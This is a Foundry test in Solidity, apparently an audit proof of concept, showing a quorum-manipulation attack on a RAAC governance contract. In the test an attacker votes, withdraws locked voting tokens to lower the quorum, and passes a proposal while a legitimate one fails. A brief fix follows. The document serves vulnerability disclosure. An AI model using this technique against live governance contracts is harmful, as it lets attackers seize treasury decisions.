pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC", "RAAC") {
_mint(msg.sender, 10_000_000e18);
}
}
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
MockRAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
uint256 accountTokens = 200_000e18 * (i + 1);
raacToken.transfer(attackerAccounts[i], accountTokens);
}
raacToken.transfer(attackerAccounts[0], 500_000e18);
vm.label(attackerAccounts[1], "legitimateUser");
vm.label(attackerAccounts[0], "attacker");
}
function testQuorumManipulationAttack() public {
address legitimateUser = attackerAccounts[1];
vm.startPrank(legitimateUser);
raacToken.approve(address(veToken), 400_000e18);
veToken.lock(400_000e18, 365 days);
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
uint256 legitimateProposal = governance.propose(
targets,
values,
calldatas,
"Legitimate Proposal",
IGovernance.ProposalType.TreasuryAction
);
vm.stopPrank();
address attacker = attackerAccounts[0];
vm.startPrank(attacker);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 365 days);
uint256 attackerProposal = governance.propose(
targets,
values,
calldatas,
"Attacker Proposal",
IGovernance.ProposalType.TreasuryAction
);
vm.warp(block.timestamp + governance.votingDelay() + 1);
uint256 initialQuorum = governance.quorum();
console.log("Initial Quorum Required:", initialQuorum);
governance.castVote(attackerProposal, true);
vm.warp(block.timestamp + 365 days);
veToken.withdraw();
uint256 manipulatedQuorum = governance.quorum();
console.log("Manipulated Quorum:", manipulatedQuorum);
vm.warp(block.timestamp + governance.votingPeriod() - 365 days);
IGovernance.ProposalState legitimateState = governance.state(legitimateProposal);
IGovernance.ProposalState attackerState = governance.state(attackerProposal);
console.log("\n=== Attack Results ===");
console.log("Legitimate User's Proposal State:", uint(legitimateState));
console.log("Attacker's Proposal State:", uint(attackerState));
assertTrue(legitimateState == IGovernance.ProposalState.Defeated,
"Legitimate user's proposal should be defeated due to quorum manipulation");
assertTrue(attackerState == IGovernance.ProposalState.Succeeded,
"Attacker's proposal should succeed");
vm.stopPrank();
}
}
The test successfully demonstrates a critical governance vulnerability where an attacker can manipulate quorum requirements:
Governance Manipulation: Attackers can force through their proposals making it succeed while blocking legitimate ones, making it fail.
Snapshot quorum requirements at proposal creation.